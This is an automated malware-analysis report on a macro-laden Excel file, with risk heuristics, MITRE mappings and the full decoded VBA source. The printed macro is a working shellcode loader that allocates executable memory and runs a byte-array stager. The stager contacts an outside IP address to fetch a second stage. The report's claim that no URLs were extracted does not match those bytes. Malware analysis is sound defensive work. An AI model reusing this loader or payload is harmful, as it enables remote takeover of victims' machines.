MALICIOUS
80
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
T1059 Command and Scripting Interpreter
The sample is an Excel file containing VBA macros with an Auto_Open execution token, indicating it attempts to run code upon opening. The presence of VirtualAlloc API calls and the high-severity heuristic for VBA p-code auto-execution with execution tokens strongly suggests the macro is designed to allocate memory and execute shellcode. This shellcode is likely a downloader for a second-stage payload, but no specific URLs or further execution details were extracted.
Heuristics 3
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VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
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VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
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Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOCReference to VirtualAlloc API
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5534 bytes |
SHA-256: dfacf516e0e58dd52850b82e8c84f44d0139f731f58bf59f13067f53588039a0 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Лист1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "CommandButton1, 1, 0, MSForms, CommandButton"
#If VBA7 Then
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Eqzzrhfx As Long, ByVal Qoari As Long, ByVal Vftma As LongPtr, Wkss As Long, ByVal Sqydcnj As Long, Zjynyit As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Zzgu As Long, ByVal Hapurdb As Long, ByVal Deej As Long, ByVal Ojxmvyzxk As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Raxcrvocu As LongPtr, ByRef Cjneft As Any, ByVal Sozfjen As Long) As LongPtr
#Else
Private Declare Function CreateThread Lib "kernel32" (ByVal Eqzzrhfx As Long, ByVal Qoari As Long, ByVal Vftma As Long, Wkss As Long, ByVal Sqydcnj As Long, Zjynyit As Long) As Long
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Zzgu As Long, ByVal Hapurdb As Long, ByVal Deej As Long, ByVal Ojxmvyzxk As Long) As Long
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Raxcrvocu As Long, ByRef Cjneft As Any, ByVal Sozfjen As Long) As Long
#End If
Private Sub CommandButton1_Click()
Dim Fzdtqwu As Long, Xsyf As Variant, Zrh As Long
#If VBA7 Then
Dim Dzdyfjwa As LongPtr, Iofpdfbf As LongPtr
#Else
Dim Dzdyfjwa As Long, Iofpdfbf As Long
#End If
Xsyf = Array(72, 131, 228, 240, 232, 204, 0, 0, 0, 65, 81, 65, 80, 82, 81, 86, 72, 49, 210, 101, 72, 139, 82, 96, 72, 139, 82, 24, 72, 139, 82, 32, 72, 139, 114, 80, 72, 15, 183, 74, 74, 77, 49, 201, 72, 49, 192, 172, 60, 97, 124, 2, 44, 32, 65, 193, 201, 13, 65, 1, 193, 226, 237, 82, 65, 81, 72, 139, 82, 32, 139, 66, 60, 72, 1, 208, 102, 129, 120, 24, _
11, 2, 15, 133, 114, 0, 0, 0, 139, 128, 136, 0, 0, 0, 72, 133, 192, 116, 103, 72, 1, 208, 80, 139, 72, 24, 68, 139, 64, 32, 73, 1, 208, 227, 86, 72, 255, 201, 65, 139, 52, 136, 72, 1, 214, 77, 49, 201, 72, 49, 192, 172, 65, 193, 201, 13, 65, 1, 193, 56, 224, 117, 241, 76, 3, 76, 36, 8, 69, 57, 209, 117, 216, 88, 68, 139, 64, 36, 73, 1, _
208, 102, 65, 139, 12, 72, 68, 139, 64, 28, 73, 1, 208, 65, 139, 4, 136, 72, 1, 208, 65, 88, 65, 88, 94, 89, 90, 65, 88, 65, 89, 65, 90, 72, 131, 236, 32, 65, 82, 255, 224, 88, 65, 89, 90, 72, 139, 18, 233, 75, 255, 255, 255, 93, 72, 49, 219, 83, 73, 190, 119, 105, 110, 105, 110, 101, 116, 0, 65, 86, 72, 137, 225, 73, 199, 194, 76, 119, 38, 7, _
255, 213, 83, 83, 72, 137, 225, 83, 90, 77, 49, 192, 77, 49, 201, 83, 83, 73, 186, 58, 86, 121, 167, 0, 0, 0, 0, 255, 213, 232, 11, 0, 0, 0, 53, 46, 57, 46, 55, 57, 46, 50, 49, 52, 0, 90, 72, 137, 193, 73, 199, 192, 81, 17, 0, 0, 77, 49, 201, 83, 83, 106, 3, 83, 73, 186, 87, 137, 159, 198, 0, 0, 0, 0, 255, 213, 232, 203, 0, 0, _
0, 47, 86, 113, 79, 115, 121, 50, 55, 110, 67, 68, 78, 50, 75, 88, 99, 114, 76, 65, 70, 117, 108, 103, 81, 90, 102, 89, 69, 116, 72, 83, 104, 107, 101, 102, 78, 70, 119, 83, 108, 67, 89, 52, 87, 104, 69, 116, 71, 75, 49, 73, 49, 54, 116, 119, 75, 122, 66, 109, 106, 88, 108, 70, 65, 55, 100, 98, 114, 90, 80, 103, 103, 66, 84, 86, 106, 69, 68, 80, _
87, 102, 81, 57, 73, 76, 90, 73, 108, 79, 107, 106, 84, 82, 79, 122, 114, 97, 77, 67, 49, 119, 86, 66, 54, 120, 89, 77, 68, 83, 105, 74, 104, 118, 90, 122, 100, 53, 57, 121, 117, 95, 65, 82, 104, 120, 121, 107, 120, 117, 110, 56, 77, 120, 65, 105, 115, 120, 95, 113, 77, 72, 112, 54, 48, 110, 100, 65, 87, 102, 67, 71, 105, 78, 84, 76, 71, 74, 105, 74, _
66, 110, 87, 84, 120, 69, 48, 66, 122, 86, 118, 57, 81, 115, 84, 102, 83, 50, 115, 79, 78, 110, 89, 82, 75, 114, 98, 67, 99, 106, 111, 87, 57, 78, 107, 111, 45, 108, 102, 77, 75, 119, 65, 0, 72, 137, 193, 83, 90, 65, 88, 77, 49, 201, 83, 72, 184, 0, 50, 160, 132, 0, 0, 0, 0, 80, 83, 83, 73, 199, 194, 235, 85, 46, 59, 255, 213, 72, 137, 198, _
106, 10, 95, 72, 137, 241, 106, 31, 90, 82, 104, 128, 51, 0, 0, 73, 137, 224, 106, 4, 65, 89, 73, 186, 117, 70, 158, 134, 0, 0, 0, 0, 255, 213, 72, 137, 241, 83, 90, 77, 49, 192, 77, 49, 201, 83, 83, 73, 199, 194, 45, 6, 24, 123, 255, 213, 133, 192, 117, 31, 72, 199, 193, 136, 19, 0, 0, 73, 186, 68, 240, 53, 224, 0, 0, 0, 0, 255, 213, 72, _
255, 207, 116, 2, 235, 173, 232, 86, 0, 0, 0, 83, 89, 106, 64, 90, 73, 137, 209, 193, 226, 16, 73, 199, 192, 0, 16, 0, 0, 73, 186, 88, 164, 83, 229, 0, 0, 0, 0, 255, 213, 72, 147, 83, 83, 72, 137, 231, 72, 137, 241, 72, 137, 218, 73, 199, 192, 0, 32, 0, 0, 73, 137, 249, 73, 186, 18, 150, 137, 226, 0, 0, 0, 0, 255, 213, 72, 131, 196, 32, _
133, 192, 116, 178, 102, 139, 7, 72, 1, 195, 133, 192, 117, 210, 88, 88, 195, 88, 106, 0, 89, 187, 224, 29, 42, 10, 65, 137, 218, 255, 213)
Dzdyfjwa = VirtualAlloc(0, UBound(Xsyf), &H1000, &H40)
For Zrh = LBound(Xsyf) To UBound(Xsyf)
Fzdtqwu = Xsyf(Zrh)
Iofpdfbf = RtlMoveMemory(Dzdyfjwa + Zrh, Fzdtqwu, 1)
Next Zrh
Iofpdfbf = CreateThread(0, 0, Dzdyfjwa, 0, 0, 0)
End Sub
Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
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